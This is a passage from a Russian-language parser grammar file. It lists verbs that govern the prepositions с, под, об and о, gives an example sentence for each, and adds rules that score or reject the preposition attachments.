// самоубийца бросился с моста в воду rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя rus_verbs:взиматься{}, // Плата взимается с любого посетителя rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков rus_verbs:вспархивать{}, // вспархивать с цветка rus_verbs:вспорхнуть{}, // вспорхнуть с ветки rus_verbs:выбросить{}, // выбросить что-то с балкона rus_verbs:выводить{}, // выводить с одежды пятна rus_verbs:снять{}, // снять с головы rus_verbs:начинать{}, // начинать с эскиза rus_verbs:двинуться{}, // двинуться с места rus_verbs:начинаться{}, // начинаться с гардероба rus_verbs:стечь{}, // стечь с крыши rus_verbs:слезть{}, // слезть с кучи rus_verbs:спуститься{}, // спуститься с крыши rus_verbs:сойти{}, // сойти с пьедестала rus_verbs:свернуть{}, // свернуть с пути rus_verbs:сорвать{}, // сорвать с цепи rus_verbs:сорваться{}, // сорваться с поводка rus_verbs:тронуться{}, // тронуться с места rus_verbs:угадать{}, // угадать с первой попытки rus_verbs:спустить{}, // спустить с лестницы rus_verbs:соскочить{}, // соскочить с крючка rus_verbs:сдвинуть{}, // сдвинуть с места rus_verbs:подниматься{}, // туман, поднимающийся с болота rus_verbs:подняться{}, // туман, поднявшийся с болота rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног. rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног. rus_verbs:донестись{}, // С улицы донесся шум дождя. rus_verbs:опасть{}, // Опавшие с дерева листья. rus_verbs:махнуть{}, // Он махнул с берега в воду. rus_verbs:исчезнуть{}, // исчезнуть с экрана rus_verbs:свалиться{}, // свалиться со сцены rus_verbs:упасть{}, // упасть с дерева rus_verbs:вернуться{}, // Он ещё не вернулся с работы. rus_verbs:сдувать{}, // сдувать пух с одуванчиков rus_verbs:свергать{}, // свергать царя с трона rus_verbs:сбиться{}, // сбиться с пути rus_verbs:стирать{}, // стирать тряпкой надпись с доски rus_verbs:убирать{}, // убирать мусор c пола rus_verbs:удалять{}, // удалять игрока с поля rus_verbs:окружить{}, // Япония окружена со всех сторон морями. rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение. глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы. прилагательное:спокойный{}, // С этой стороны я спокоен. rus_verbs:спросить{}, // С тебя за всё спросят. rus_verbs:течь{}, // С него течёт пот. rus_verbs:дуть{}, // С моря дует ветер. rus_verbs:капать{}, // С его лица капали крупные капли пота. rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол. rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня. rus_verbs:встать{}, // Все встали со стульев. rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто. rus_verbs:взять{}, // Возьми книгу с полки. rus_verbs:спускаться{}, // Мы спускались с горы. rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы. rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок. rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы. rus_verbs:двигаться{}, // Он не двигался с места. rus_verbs:отходить{}, // мой поезд отходит с первого пути rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции rus_verbs:падать{}, // снег падает с ветвей rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия. } fact гл_предл { if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:род} } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:парт} } then return true } #endregion РОДИТЕЛЬНЫЙ fact гл_предл { if context { * предлог:с{} *:*{ падеж:твор } } then return false,-3 } fact гл_предл { if context { * предлог:с{} *:*{ падеж:род } } then return false,-4 } fact гл_предл { if context { * предлог:с{} * } then return false,-5 } #endregion Предлог_С /* #region Предлог_ПОД // -------------- ПРЕДЛОГ 'ПОД' ----------------------- fact гл_предл { if context { * предлог:под{} @regex("[a-z]+[0-9]*") } then return true } // ПОД+вин.п. не может присоединяться к существительным, поэтому // он присоединяется к любым глаголам. fact гл_предл { if context { * предлог:под{} *:*{ падеж:вин } } then return true } wordentry_set Гл_ПОД_твор= { rus_verbs:извиваться{}, // извивалась под его длинными усами rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ) rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ) rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ) rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ) rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ) rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ) rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть) rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ) rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ) rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ) rus_verbs:ПРОПОЛЗТИ{}, // rus_verbs:ПРОПОЛЗАТЬ{}, // rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ) rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ) rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ) rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ) rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ) rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом rus_verbs:иметься{}, // у каждого под рукой имелся арбалет rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ) rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ) rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ) rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ) rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ) rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ) rus_verbs:КРУЖИТЬСЯ{}, // поверхность планеты кружилась у него под ногами (КРУЖИТЬСЯ) rus_verbs:ВИСЕТЬ{}, // под глазами у него висели тяжелые складки кожи (ВИСЕТЬ) rus_verbs:содрогнуться{}, // содрогнулся под ногами каменный пол (СОДРОГНУТЬСЯ) rus_verbs:СОБИРАТЬСЯ{}, // темнота уже собиралась под деревьями (СОБИРАТЬСЯ) rus_verbs:УПАСТЬ{}, // толстяк упал под градом ударов (УПАСТЬ) rus_verbs:ДВИНУТЬСЯ{}, // лодка двинулась под водой (ДВИНУТЬСЯ) rus_verbs:ЦАРИТЬ{}, // под его крышей царила холодная зима (ЦАРИТЬ) rus_verbs:ПРОВАЛИТЬСЯ{}, // под копытами его лошади провалился мост (ПРОВАЛИТЬСЯ ПОД твор) rus_verbs:ЗАДРОЖАТЬ{}, // земля задрожала под ногами (ЗАДРОЖАТЬ) rus_verbs:НАХМУРИТЬСЯ{}, // государь нахмурился под маской (НАХМУРИТЬСЯ) rus_verbs:РАБОТАТЬ{}, // работать под угрозой нельзя (РАБОТАТЬ) rus_verbs:ШЕВЕЛЬНУТЬСЯ{}, // под ногой шевельнулся камень (ШЕВЕЛЬНУТЬСЯ) rus_verbs:ВИДЕТЬ{}, // видел тебя под камнем. (ВИДЕТЬ) rus_verbs:ОСТАТЬСЯ{}, // второе осталось под водой (ОСТАТЬСЯ) rus_verbs:КИПЕТЬ{}, // вода кипела под копытами (КИПЕТЬ) rus_verbs:СИДЕТЬ{}, // может сидит под деревом (СИДЕТЬ) rus_verbs:МЕЛЬКНУТЬ{}, // под нами мелькнуло море (МЕЛЬКНУТЬ) rus_verbs:ПОСЛЫШАТЬСЯ{}, // под окном послышался шум (ПОСЛЫШАТЬСЯ) rus_verbs:ТЯНУТЬСЯ{}, // под нами тянулись облака (ТЯНУТЬСЯ) rus_verbs:ДРОЖАТЬ{}, // земля дрожала под ним (ДРОЖАТЬ) rus_verbs:ПРИЙТИСЬ{}, // хуже пришлось под землей (ПРИЙТИСЬ) rus_verbs:ГОРЕТЬ{}, // лампа горела под потолком (ГОРЕТЬ) rus_verbs:ПОЛОЖИТЬ{}, // положил под деревом плащ (ПОЛОЖИТЬ) rus_verbs:ЗАГОРЕТЬСЯ{}, // под деревьями загорелся костер (ЗАГОРЕТЬСЯ) rus_verbs:ПРОНОСИТЬСЯ{}, // под нами проносились крыши (ПРОНОСИТЬСЯ) rus_verbs:ПОТЯНУТЬСЯ{}, // под кораблем потянулись горы (ПОТЯНУТЬСЯ) rus_verbs:БЕЖАТЬ{}, // беги под серой стеной ночи (БЕЖАТЬ) rus_verbs:РАЗДАТЬСЯ{}, // под окном раздалось тяжелое дыхание (РАЗДАТЬСЯ) rus_verbs:ВСПЫХНУТЬ{}, // под потолком вспыхнула яркая лампа (ВСПЫХНУТЬ) rus_verbs:СМОТРЕТЬ{}, // просто смотрите под другим углом (СМОТРЕТЬ ПОД) rus_verbs:ДУТЬ{}, // теперь под деревьями дул ветерок (ДУТЬ) rus_verbs:СКРЫТЬСЯ{}, // оно быстро скрылось под водой (СКРЫТЬСЯ ПОД) rus_verbs:ЩЕЛКНУТЬ{}, // далеко под ними щелкнул выстрел (ЩЕЛКНУТЬ) rus_verbs:ТРЕЩАТЬ{}, // осколки стекла трещали под ногами (ТРЕЩАТЬ) rus_verbs:РАСПОЛАГАТЬСЯ{}, // под ними располагались разноцветные скамьи (РАСПОЛАГАТЬСЯ) rus_verbs:ВЫСТУПИТЬ{}, // под ногтями выступили капельки крови (ВЫСТУПИТЬ) rus_verbs:НАСТУПИТЬ{}, // под куполом базы наступила тишина (НАСТУПИТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // повозка остановилась под самым окном (ОСТАНОВИТЬСЯ) rus_verbs:РАСТАЯТЬ{}, // магазин растаял под ночным дождем (РАСТАЯТЬ) rus_verbs:ДВИГАТЬСЯ{}, // под водой двигалось нечто огромное (ДВИГАТЬСЯ) rus_verbs:БЫТЬ{}, // под снегом могут быть трещины (БЫТЬ) rus_verbs:ЗИЯТЬ{}, // под ней зияла ужасная рана (ЗИЯТЬ) rus_verbs:ЗАЗВОНИТЬ{}, // под рукой водителя зазвонил телефон (ЗАЗВОНИТЬ) rus_verbs:ПОКАЗАТЬСЯ{}, // внезапно под ними показалась вода (ПОКАЗАТЬСЯ) rus_verbs:ЗАМЕРЕТЬ{}, // эхо замерло под высоким потолком (ЗАМЕРЕТЬ) rus_verbs:ПОЙТИ{}, // затем под кораблем пошла пустыня (ПОЙТИ) rus_verbs:ДЕЙСТВОВАТЬ{}, // боги всегда действуют под маской (ДЕЙСТВОВАТЬ) rus_verbs:БЛЕСТЕТЬ{}, // мокрый мех блестел под луной (БЛЕСТЕТЬ) rus_verbs:ЛЕТЕТЬ{}, // под ним летела серая земля (ЛЕТЕТЬ) rus_verbs:СОГНУТЬСЯ{}, // содрогнулся под ногами каменный пол (СОГНУТЬСЯ) rus_verbs:КИВНУТЬ{}, // четвертый слегка кивнул под капюшоном (КИВНУТЬ) rus_verbs:УМЕРЕТЬ{}, // колдун умер под грудой каменных глыб (УМЕРЕТЬ) rus_verbs:ОКАЗЫВАТЬСЯ{}, // внезапно под ногами оказывается знакомая тропинка (ОКАЗЫВАТЬСЯ) rus_verbs:ИСЧЕЗАТЬ{}, // серая лента дороги исчезала под воротами (ИСЧЕЗАТЬ) rus_verbs:СВЕРКНУТЬ{}, // голубые глаза сверкнули под густыми бровями (СВЕРКНУТЬ) rus_verbs:СИЯТЬ{}, // под ним сияла белая пелена облаков (СИЯТЬ) rus_verbs:ПРОНЕСТИСЬ{}, // тихий смех пронесся под куполом зала (ПРОНЕСТИСЬ) rus_verbs:СКОЛЬЗИТЬ{}, // обломки судна медленно скользили под ними (СКОЛЬЗИТЬ) rus_verbs:ВЗДУТЬСЯ{}, // под серой кожей вздулись шары мускулов (ВЗДУТЬСЯ) rus_verbs:ПРОЙТИ{}, // обломок отлично пройдет под колесами слева (ПРОЙТИ) rus_verbs:РАЗВЕВАТЬСЯ{}, // светлые волосы развевались под дыханием ветра (РАЗВЕВАТЬСЯ) rus_verbs:СВЕРКАТЬ{}, // глаза огнем сверкали под темными бровями (СВЕРКАТЬ) rus_verbs:КАЗАТЬСЯ{}, // деревянный док казался очень твердым под моими ногами (КАЗАТЬСЯ) rus_verbs:ПОСТАВИТЬ{}, // четвертый маг торопливо поставил под зеркалом широкую чашу (ПОСТАВИТЬ) rus_verbs:ОСТАВАТЬСЯ{}, // запасы остаются под давлением (ОСТАВАТЬСЯ ПОД) rus_verbs:ПЕТЬ{}, // просто мы под землей любим петь. (ПЕТЬ ПОД) rus_verbs:ПОЯВИТЬСЯ{}, // под их крыльями внезапно появился дым. (ПОЯВИТЬСЯ ПОД) rus_verbs:ОКАЗАТЬСЯ{}, // мы снова оказались под солнцем. (ОКАЗАТЬСЯ ПОД) rus_verbs:ПОДХОДИТЬ{}, // мы подходили под другим углом? (ПОДХОДИТЬ ПОД) rus_verbs:СКРЫВАТЬСЯ{}, // кто под ней скрывается? (СКРЫВАТЬСЯ ПОД) rus_verbs:ХЛЮПАТЬ{}, // под ногами Аллы хлюпала грязь (ХЛЮПАТЬ ПОД) rus_verbs:ШАГАТЬ{}, // их отряд весело шагал под дождем этой музыки. (ШАГАТЬ ПОД) rus_verbs:ТЕЧЬ{}, // под ее поверхностью медленно текла ярость. (ТЕЧЬ ПОД твор) rus_verbs:ОЧУТИТЬСЯ{}, // мы очутились под стенами замка. (ОЧУТИТЬСЯ ПОД) rus_verbs:ПОБЛЕСКИВАТЬ{}, // их латы поблескивали под солнцем. (ПОБЛЕСКИВАТЬ ПОД) rus_verbs:ДРАТЬСЯ{}, // под столами дрались за кости псы. (ДРАТЬСЯ ПОД) rus_verbs:КАЧНУТЬСЯ{}, // палуба качнулась у нас под ногами. (КАЧНУЛАСЬ ПОД) rus_verbs:ПРИСЕСТЬ{}, // конь даже присел под тяжелым телом. (ПРИСЕСТЬ ПОД) rus_verbs:ЖИТЬ{}, // они живут под землей. (ЖИТЬ ПОД) rus_verbs:ОБНАРУЖИТЬ{}, // вы можете обнаружить ее под водой? (ОБНАРУЖИТЬ ПОД) rus_verbs:ПЛЫТЬ{}, // Орёл плывёт под облаками. (ПЛЫТЬ ПОД) rus_verbs:ИСЧЕЗНУТЬ{}, // потом они исчезли под водой. (ИСЧЕЗНУТЬ ПОД) rus_verbs:держать{}, // оружие все держали под рукой. (держать ПОД) rus_verbs:ВСТРЕТИТЬСЯ{}, // они встретились под водой. (ВСТРЕТИТЬСЯ ПОД) rus_verbs:уснуть{}, // Миша уснет под одеялом rus_verbs:пошевелиться{}, // пошевелиться под одеялом rus_verbs:задохнуться{}, // задохнуться под слоем снега rus_verbs:потечь{}, // потечь под избыточным давлением rus_verbs:уцелеть{}, // уцелеть под завалами rus_verbs:мерцать{}, // мерцать под лучами софитов rus_verbs:поискать{}, // поискать под кроватью rus_verbs:гудеть{}, // гудеть под нагрузкой rus_verbs:посидеть{}, // посидеть под навесом rus_verbs:укрыться{}, // укрыться под навесом rus_verbs:утихнуть{}, // утихнуть под одеялом rus_verbs:заскрипеть{}, // заскрипеть под тяжестью rus_verbs:шелохнуться{}, // шелохнуться под одеялом инфинитив:срезать{ вид:несоверш }, глагол:срезать{ вид:несоверш }, // срезать под корень деепричастие:срезав{}, прилагательное:срезающий{ вид:несоверш }, инфинитив:срезать{ вид:соверш }, глагол:срезать{ вид:соверш }, деепричастие:срезая{}, прилагательное:срезавший{ вид:соверш }, rus_verbs:пониматься{}, // пониматься под успехом rus_verbs:подразумеваться{}, // подразумеваться под правильным решением rus_verbs:промокнуть{}, // промокнуть под проливным дождем rus_verbs:засосать{}, // засосать под ложечкой rus_verbs:подписаться{}, // подписаться под воззванием rus_verbs:укрываться{}, // укрываться под навесом rus_verbs:запыхтеть{}, // запыхтеть под одеялом rus_verbs:мокнуть{}, // мокнуть под лождем rus_verbs:сгибаться{}, // сгибаться под тяжестью снега rus_verbs:намокнуть{}, // намокнуть под дождем rus_verbs:подписываться{}, // подписываться под обращением rus_verbs:тарахтеть{}, // тарахтеть под окнами инфинитив:находиться{вид:несоверш}, глагол:находиться{вид:несоверш}, // Она уже несколько лет находится под наблюдением врача. деепричастие:находясь{}, прилагательное:находившийся{вид:несоверш}, прилагательное:находящийся{}, rus_verbs:лежать{}, // лежать под капельницей rus_verbs:вымокать{}, // вымокать под дождём rus_verbs:вымокнуть{}, // вымокнуть под дождём rus_verbs:проворчать{}, // проворчать под нос rus_verbs:хмыкнуть{}, // хмыкнуть под нос rus_verbs:отыскать{}, // отыскать под кроватью rus_verbs:дрогнуть{}, // дрогнуть под ударами rus_verbs:проявляться{}, // проявляться под нагрузкой rus_verbs:сдержать{}, // сдержать под контролем rus_verbs:ложиться{}, // ложиться под клиента rus_verbs:таять{}, // таять под весенним солнцем rus_verbs:покатиться{}, // покатиться под откос rus_verbs:лечь{}, // он лег под навесом rus_verbs:идти{}, // идти под дождем прилагательное:известный{}, // Он известен под этим именем. rus_verbs:стоять{}, // Ящик стоит под столом. rus_verbs:отступить{}, // Враг отступил под ударами наших войск. rus_verbs:царапаться{}, // Мышь царапается под полом. rus_verbs:спать{}, // заяц спокойно спал у себя под кустом rus_verbs:загорать{}, // мы загораем под солнцем ГЛ_ИНФ(мыть), // мыть руки под струёй воды ГЛ_ИНФ(закопать), ГЛ_ИНФ(спрятать), ГЛ_ИНФ(прятать), ГЛ_ИНФ(перепрятать) } fact гл_предл { if context { Гл_ПОД_твор предлог:под{} *:*{ падеж:твор } } then return true } // для глаголов вне списка - запрещаем. fact гл_предл { if context { * предлог:под{} *:*{ падеж:твор } } then return false,-10 } fact гл_предл { if context { * предлог:под{} *:*{} } then return false,-11 } #endregion Предлог_ПОД */ #region Предлог_ОБ // -------------- ПРЕДЛОГ 'ОБ' ----------------------- wordentry_set Гл_ОБ_предл= { rus_verbs:СВИДЕТЕЛЬСТВОВАТЬ{}, // Об их присутствии свидетельствовало лишь тусклое пурпурное пятно, проступавшее на камне. (СВИДЕТЕЛЬСТВОВАТЬ) rus_verbs:ЗАДУМАТЬСЯ{}, // Промышленные гиганты задумались об экологии (ЗАДУМАТЬСЯ) rus_verbs:СПРОСИТЬ{}, // Он спросил нескольких из пляжников об их кажущейся всеобщей юности. (СПРОСИТЬ) rus_verbs:спрашивать{}, // как ты можешь еще спрашивать у меня об этом? rus_verbs:забывать{}, // Мы не можем забывать об их участи. rus_verbs:ГАДАТЬ{}, // теперь об этом можно лишь гадать (ГАДАТЬ) rus_verbs:ПОВЕДАТЬ{}, // Градоначальник , выступая с обзором основных городских событий , поведал об этом депутатам (ПОВЕДАТЬ ОБ) rus_verbs:СООБЩИТЬ{}, // Иран сообщил МАГАТЭ об ускорении обогащения урана (СООБЩИТЬ) rus_verbs:ЗАЯВИТЬ{}, // Об их успешном окончании заявил генеральный директор (ЗАЯВИТЬ ОБ) rus_verbs:слышать{}, // даже они слышали об этом человеке. (СЛЫШАТЬ ОБ) rus_verbs:ДОЛОЖИТЬ{}, // вернувшиеся разведчики доложили об увиденном (ДОЛОЖИТЬ ОБ) rus_verbs:ПОГОВОРИТЬ{}, // давай поговорим об этом. (ПОГОВОРИТЬ ОБ) rus_verbs:ДОГАДАТЬСЯ{}, // об остальном нетрудно догадаться. (ДОГАДАТЬСЯ ОБ) rus_verbs:ПОЗАБОТИТЬСЯ{}, // обещал обо всем позаботиться. (ПОЗАБОТИТЬСЯ ОБ) rus_verbs:ПОЗАБЫТЬ{}, // Шура позабыл обо всем. (ПОЗАБЫТЬ ОБ) rus_verbs:вспоминать{}, // Впоследствии он не раз вспоминал об этом приключении. (вспоминать об) rus_verbs:сообщать{}, // Газета сообщает об открытии сессии парламента. (сообщать об) rus_verbs:просить{}, // мы просили об отсрочке платежей (просить ОБ) rus_verbs:ПЕТЬ{}, // эта же девушка пела обо всем совершенно открыто. (ПЕТЬ ОБ) rus_verbs:сказать{}, // ты скажешь об этом капитану? (сказать ОБ) rus_verbs:знать{}, // бы хотелось знать как можно больше об этом районе. rus_verbs:кричать{}, // Все газеты кричат об этом событии. rus_verbs:советоваться{}, // Она обо всём советуется с матерью. rus_verbs:говориться{}, // об остальном говорилось легко. rus_verbs:подумать{}, // нужно крепко обо всем подумать. rus_verbs:напомнить{}, // черный дым напомнил об опасности. rus_verbs:забыть{}, // забудь об этой роскоши. rus_verbs:думать{}, // приходится обо всем думать самой. rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:информировать{}, // информировать об изменениях rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:заговорить{}, // заговорить об оплате rus_verbs:отозваться{}, // Он отозвался об этой книге с большой похвалой. rus_verbs:попросить{}, // попросить об услуге rus_verbs:объявить{}, // объявить об отставке rus_verbs:предупредить{}, // предупредить об аварии rus_verbs:предупреждать{}, // предупреждать об опасности rus_verbs:твердить{}, // твердить об обязанностях rus_verbs:заявлять{}, // заявлять об экспериментальном подтверждении rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях rus_verbs:говорить{}, // Не говорите об этом в присутствии третьих лиц. rus_verbs:читать{}, // он читал об этом в журнале rus_verbs:прочитать{}, // он читал об этом в учебнике rus_verbs:узнать{}, // он узнал об этом из фильмов rus_verbs:рассказать{}, // рассказать об экзаменах rus_verbs:рассказывать{}, rus_verbs:договориться{}, // договориться об оплате rus_verbs:договариваться{}, // договариваться об обмене rus_verbs:болтать{}, // Не болтай об этом! rus_verbs:проболтаться{}, // Не проболтайся об этом! rus_verbs:заботиться{}, // кто заботится об урегулировании rus_verbs:беспокоиться{}, // вы беспокоитесь об обороне rus_verbs:помнить{}, // всем советую об этом помнить rus_verbs:мечтать{} // Мечтать об успехе } fact гл_предл { if context { Гл_ОБ_предл предлог:об{} *:*{ падеж:предл } } then return true } fact гл_предл { if context { * предлог:о{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { * предлог:об{} @regex("[a-z]+[0-9]*") } then return true } // остальные глаголы не могут связываться fact гл_предл { if context { * предлог:об{} *:*{ падеж:предл } } then return false, -4 } wordentry_set Гл_ОБ_вин= { rus_verbs:СЛОМАТЬ{}, // потом об колено сломал (СЛОМАТЬ) rus_verbs:разбить{}, // ты разбил щеку об угол ящика. (РАЗБИТЬ ОБ) rus_verbs:опереться{}, // Он опёрся об стену. rus_verbs:опираться{}, rus_verbs:постучать{}, // постучал лбом об пол. rus_verbs:удариться{}, // бутылка глухо ударилась об землю. rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:царапаться{} // Днище лодки царапалось обо что-то. } fact гл_предл { if context { Гл_ОБ_вин предлог:об{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:об{} *:*{ падеж:вин } } then return false,-4 } fact гл_предл { if context { * предлог:об{} *:*{} } then return false,-5 } #endregion Предлог_ОБ #region Предлог_О // ------------------- С ПРЕДЛОГОМ 'О' ---------------------- wordentry_set Гл_О_Вин={ rus_verbs:шмякнуть{}, // Ей хотелось шмякнуть ими о стену. rus_verbs:болтать{}, // Болтали чаще всего о пустяках. rus_verbs:шваркнуть{}, // Она шваркнула трубкой о рычаг. rus_verbs:опираться{}, // Мать приподнялась, с трудом опираясь о стол. rus_verbs:бахнуться{}, // Бахнуться головой о стол. rus_verbs:ВЫТЕРЕТЬ{}, // Вытащи нож и вытри его о траву. (ВЫТЕРЕТЬ/ВЫТИРАТЬ) rus_verbs:ВЫТИРАТЬ{}, // rus_verbs:РАЗБИТЬСЯ{}, // Прибой накатился и с шумом разбился о белый песок. (РАЗБИТЬСЯ) rus_verbs:СТУКНУТЬ{}, // Сердце его глухо стукнуло о грудную кость (СТУКНУТЬ) rus_verbs:ЛЯЗГНУТЬ{}, // Он кинулся наземь, покатился, и копье лязгнуло о стену. (ЛЯЗГНУТЬ/ЛЯЗГАТЬ) rus_verbs:ЛЯЗГАТЬ{}, // rus_verbs:звенеть{}, // стрелы уже звенели о прутья клетки rus_verbs:ЩЕЛКНУТЬ{}, // камень щелкнул о скалу (ЩЕЛКНУТЬ) rus_verbs:БИТЬ{}, // волна бьет о берег (БИТЬ) rus_verbs:ЗАЗВЕНЕТЬ{}, // зазвенели мечи о щиты (ЗАЗВЕНЕТЬ) rus_verbs:колотиться{}, // сердце его колотилось о ребра rus_verbs:стучать{}, // глухо стучали о щиты рукояти мечей. rus_verbs:биться{}, // биться головой о стену? (биться о) rus_verbs:ударить{}, // вода ударила его о стену коридора. (ударила о) rus_verbs:разбиваться{}, // волны разбивались о скалу rus_verbs:разбивать{}, // Разбивает голову о прутья клетки. rus_verbs:облокотиться{}, // облокотиться о стену rus_verbs:точить{}, // точить о точильный камень rus_verbs:спотыкаться{}, // спотыкаться о спрятавшийся в траве пень rus_verbs:потереться{}, // потереться о дерево rus_verbs:ушибиться{}, // ушибиться о дерево rus_verbs:тереться{}, // тереться о ствол rus_verbs:шмякнуться{}, // шмякнуться о землю rus_verbs:убиваться{}, // убиваться об стену rus_verbs:расшибить{}, // расшибить об стену rus_verbs:тереть{}, // тереть о камень rus_verbs:потереть{}, // потереть о колено rus_verbs:удариться{}, // удариться о край rus_verbs:споткнуться{}, // споткнуться о камень rus_verbs:запнуться{}, // запнуться о камень rus_verbs:запинаться{}, // запинаться о камни rus_verbs:ударяться{}, // ударяться о бортик rus_verbs:стукнуться{}, // стукнуться о бортик rus_verbs:стукаться{}, // стукаться о бортик rus_verbs:опереться{}, // Он опёрся локтями о стол. rus_verbs:плескаться{} // Вода плещется о берег. } fact гл_предл { if context { Гл_О_Вин предлог:о{} *:*{ падеж:вин } } then return true } fact гл_предл { if context { * предлог:о{} *:*{ падеж:вин } } then return false,-5 } wordentry_set Гл_О_предл={ rus_verbs:КРИЧАТЬ{}, // она кричала о смерти! (КРИЧАТЬ) rus_verbs:РАССПРОСИТЬ{}, // Я расспросил о нем нескольких горожан. (РАССПРОСИТЬ/РАССПРАШИВАТЬ) rus_verbs:РАССПРАШИВАТЬ{}, // rus_verbs:слушать{}, // ты будешь слушать о них? rus_verbs:вспоминать{}, // вспоминать о том разговоре ему было неприятно rus_verbs:МОЛЧАТЬ{}, // О чём молчат девушки (МОЛЧАТЬ) rus_verbs:ПЛАКАТЬ{}, // она плакала о себе (ПЛАКАТЬ) rus_verbs:сложить{}, // о вас сложены легенды rus_verbs:ВОЛНОВАТЬСЯ{}, // Я волнуюсь о том, что что-то серьёзно пошло не так (ВОЛНОВАТЬСЯ О) rus_verbs:УПОМЯНУТЬ{}, // упомянул о намерении команды приобрести несколько новых футболистов (УПОМЯНУТЬ О) rus_verbs:ОТЧИТЫВАТЬСЯ{}, // Судебные приставы продолжают отчитываться о борьбе с неплательщиками (ОТЧИТЫВАТЬСЯ О) rus_verbs:ДОЛОЖИТЬ{}, // провести тщательное расследование взрыва в маршрутном такси во Владикавказе и доложить о результатах (ДОЛОЖИТЬ О) rus_verbs:ПРОБОЛТАТЬ{}, // правительство страны больше проболтало о военной реформе (ПРОБОЛТАТЬ О) rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О) rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О) rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О) rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О) rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О) rus_verbs:осведомиться{}, // офицер осведомился о цели визита rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о) rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О) rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о) rus_verbs:зайти{}, // Разговор зашёл о политике. rus_verbs:порассказать{}, // порассказать о своих путешествиях инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви деепричастие:спев{}, прилагательное:спевший{ вид:соверш }, прилагательное:спетый{}, rus_verbs:напеть{}, rus_verbs:разговаривать{}, // разговаривать с другом о жизни rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях //rus_verbs:заботиться{}, // заботиться о престарелых родителях rus_verbs:раздумывать{}, // раздумывать о новой работе rus_verbs:договариваться{}, // договариваться о сумме компенсации 